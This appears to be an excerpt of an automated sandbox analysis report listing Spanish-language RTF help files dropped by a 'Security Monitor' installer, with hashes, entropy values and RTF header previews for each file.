File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37309
Entropy (8bit):	5.035450399129397
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XcOl66fSndrdyzotzrcq4Ta:VkHHu4Ta
MD5:	C121D028E5250297A8B932011A8122F9
SHA1:	6E9E2CAE5D2200213EA2378E2F02E4237F0EA7F1
SHA-256:	8246FF97F5D8EA82D7D9C00EC53309DC207026DD6B406B7B77E873563AB424DF
SHA-512:	F93C9D589271DA049E037F0491E9B34CA1574113F488DDF302370BB1BC4CE55985A27A294B37A50100BEA4C9E209B5C6D8020843BD404B571B99E112E6F1CB3D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-VQ9B8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54358
Entropy (8bit):	5.030949914338969
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6CgqMPYZtYJxewPO1nS3jcL9A:VkLjoVq4TC
MD5:	72F2281B43D886812D0AB9227F12438E
SHA1:	9FA51047B63B8C6771351030059CA120DB60FCDA
SHA-256:	A1D007010FAB6C2E57A687E45B26AC54BCCDCB91D4310C0BD7ECD0C478AFF63A
SHA-512:	78FF6C728C82E2790C1D43759EDC5ECF4A883B6034246E4CC40A4526254E7CCBC766225B51A6ED22AD3B6EC96A2411F47922549146C7D621C68F9C8BCBB22226
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	41999
Entropy (8bit):	5.055697465978919
Encrypted:	false
SSDEEP:	768:VkmzS4JUAauTJcOerjj1oKauIKx49kWYcFBxBMdk+tkakaLMvIghQq4TP:Vku11S7u4TP
MD5:	38D9C60C2583CC6714A0F317F3FD24AD
SHA1:	06F40D2DD9A933E7073FD6B57475B879582B99D2
SHA-256:	4825CB084B4CBE44982E0B965CCE2025C23D43CC3DDB6B4389F811C07A5EE872
SHA-512:	C2397F026AF1AEFBE283F59D8188CB17C4BB43F6F228FFBF07A167DFC636D6D7504FC1BF69F53451C361FCD02646B9E96C2A6BE0FD3B12A58B9E42D8A729FB4D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f3150

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	38095
Entropy (8bit):	5.023434979525739
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjYeQZBzyKIl6ZIi6rGsoUwEAG2DaGZ:qhg3feQZ5yKIl2U4Z
MD5:	BF8EAEFA279A7B4973C0AEA344342EEA
SHA1:	FC9B1F4747B94663D9BE6A446F8C186D981321F0
SHA-256:	05D8BABE44F84B4DD6022B8D236C2BF93917E8E38C14F3B700186B8C3C1209C0
SHA-512:	DDB4F723299CB3F50206830FD9809198923FAE710CE314A22558C26D235B85E1BAC6562C8A17C723857734DB0432158FC22450FE43AB3A0FFF5704D8CA885175
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55781
Entropy (8bit):	4.974374262253835
Encrypted:	false
SSDEEP:	768:wqFkd4JQJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL02GZLu5UZcHXqjHZCNVsMQgB:wqdThL0kIIA9Y
MD5:	0BF8EF2B17B829705BB1D37632503C1F
SHA1:	5E969D18969120A577205E785D8641CAD1037AA5
SHA-256:	665B118FF5A8EA42EC98EB73371D9F28DAA619617F014E4C6FB9F4281521D391
SHA-512:	6FA8B101F982EC8CB3987057591C90300C0C158A74D4DBCEFF179E994E9A560C5EF0F130314639B751B01501465B4D55C8DA68F95FF1F9E97174B3A8CF264AB3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68966
Entropy (8bit):	4.980232511599592
Encrypted:	false
SSDEEP:	768:wqFy4FxrUJHT2njX8x3TLjwUtqYepAkVZEdvI9vTkdr9oY7sad4m11F8yO61x3fj:wqJ7RTkdtIA9J
MD5:	84C18085AA83A3983748A25518050BF5
SHA1:	92861E7CC4A6C458188EE78856C6D542EC279BD8
SHA-256:	BB5C8F79F380A101456F8C6157E9999F906CE697B357789DB415B5182D4BBA21
SHA-512:	A8477B72B61D832DB1C72074E70E6A3752F67C21A9B6DB02261CD155AD583806DFA866A4533DB2FFDE9D2B978C4972E3B4FA0BC06AC2E91F4F207C8468653A3B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42355
Entropy (8bit):	5.0527900529716705
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmV4JAF/WMvgDNHkAwd6Lkygbq4TF:VklnIV4J34TF
MD5:	6E4790A124B7FF2124F2D64A1F5935AE
SHA1:	809C008765ADDE1CFF719DF84F5D1A6972C9D15A
SHA-256:	7BC836689CF9FF9CF09F7E58AF04356C29C44CD67256FF828873AFAE1D9AD78A
SHA-512:	9DA4AFC8A0E1A92A33ED8D33C8C3E6162DC0FCED24BF9A65A69ED92380B10E5B639E6809067E1D8A7F2BCD7300A809CFBA07693AF9A6B425CCDA76CAC53AB38C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45797
Entropy (8bit):	5.048112106920449
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmms0Fzyf/8Ze52zxn1yIATqQfIUj1gCK/:VklnIsM4T4
MD5:	B282950E706D40B97814A1BE2F1513FE
SHA1:	82318E2310302B88264AF88800CB5A6762446C20
SHA-256:	C93DEB9DF3F1878F380EC3C9348E22E07A5A38CC005D180FFAE3EF7C663BA567
SHA-512:	0A5128EE9895BDB59F247B49B105E990675E27A9F93F006E88500CEBE5084722DD4D1CC74CDC31AC65AAAE0962D4FA2F1EDB96C26AA4CBE733054B35D047C49B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54358
Entropy (8bit):	5.030949914338969
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6CgqMPYZtYJxewPO1nS3jcL9A:VkLjoVq4TC
MD5:	72F2281B43D886812D0AB9227F12438E
SHA1:	9FA51047B63B8C6771351030059CA120DB60FCDA
SHA-256:	A1D007010FAB6C2E57A687E45B26AC54BCCDCB91D4310C0BD7ECD0C478AFF63A
SHA-512:	78FF6C728C82E2790C1D43759EDC5ECF4A883B6034246E4CC40A4526254E7CCBC766225B51A6ED22AD3B6EC96A2411F47922549146C7D621C68F9C8BCBB22226
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	5.0440980385984355
Encrypted:	false
SSDEEP:	768:Vk13ixj20TaGC5X2kEDYd/awBGkRYoGPLo9C4Yhn8uw8h33SSnHDlM85baNRWmgA:VkGt4T3
MD5:	8F7F1A8853F08FDC85B12A89E08CF432
SHA1:	D2F7DCC9250548EA79E9AB2148E232B183527D2D
SHA-256:	519A67854D21C49B501187DC6DE66AB09C403ABE68F5E3F20ECEAFD24FD92A51
SHA-512:	871B3634AB86A66E58424D45984EF0EA8973220D3A17F58B4CD399807045E5A6C72505F82E40A2789BBCF62C219E1EBBFD109DB29A0ECD3433AD04A47434A48A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43957
Entropy (8bit):	5.05318714443273
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqAFbMmzigeIgpwgM/tI1m3AG8bq4Tn:VklnIqk4Tn
MD5:	C802BE58C5B4EEE36B30EAE58603CBE5
SHA1:	3F245C80D14B4051CDE661FE373FB7C57020019A
SHA-256:	6D1E5226FE921E8E23C48A0F7C4FC06B815BB0D777C2DE20D6E4EB2A53100023
SHA-512:	402EBEFF45912562F8248CA7018BEEDE532E91F54839AA5AE556590D6F9D9D786E39E9776808C30F050CDC22BEB595A715DF8A2603ED1AF675A2B07665B249FB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43947
Entropy (8bit):	5.053170962954844
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGUxQBkyKWm+m2NjrOX/zJwPzFZ6LUECxfxkSFgc/rcaVbnq4Tf:VklRPc4Tf
MD5:	874129F2A6DD7287BADBF2EBD223923F
SHA1:	A6D84C0AE81F13DE1C8952A8EA3602DC54B99C2E
SHA-256:	C824F8E324B7B859ADCCA1F38437CEE6AA19ECF8FB5C8723C6347DCEA2206128
SHA-512:	236A143EC7C0E1151CAE3B0399884E7498327B2F9E4C03FA65DCDCD9628CEE9BE6DEEC5A7B5312E8CB8B016C4B5BDAADDAEDD49E20F7D75F71AD63D49F85EDA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44885
Entropy (8bit):	5.051249541456295
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoFleTHHqaXD8TfLlCeTxDn4UfvUwNi:VklnIqN4Tm
MD5:	26DF31606E6051A5AB82AFA526964B5B
SHA1:	E567611817B3963033B65E615EE4ABB3FCE7499A
SHA-256:	8B807D3D26611E1DD448B29E0626173AE0C4077974E4BC018358536D48A6F510
SHA-512:	49BF5203F94FDB4136E58F17CFF137DD5685372A135701E22649E1B2661A3F48AD09B2FE6EDBA57AF4DD80C0766934AE2A281F845D32C9D529A3C20A3E9315F6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42973
Entropy (8bit):	5.043020142659255
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DkF8zHtrWM+cimZ/6A9r:wqR3tIA9r
MD5:	286021A4AA9BD225FA7A87089380213E
SHA1:	DA805EA3171A5FFF8357CD89F798D576D0B27E70
SHA-256:	C447B4CA501DAB11FCDFF381BABF34C63BE48B0DADBC538D2C5F1CD07F4D7BCF
SHA-512:	F4A21476EE1870D47162C29625D966D37C16B3F40EE30F54E68A8F81BAC74DEE3FD5C7489DC5F883745DB98E7BCB69B80DB00A664A3330FB0AB1DEF3AA9F7F56
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New 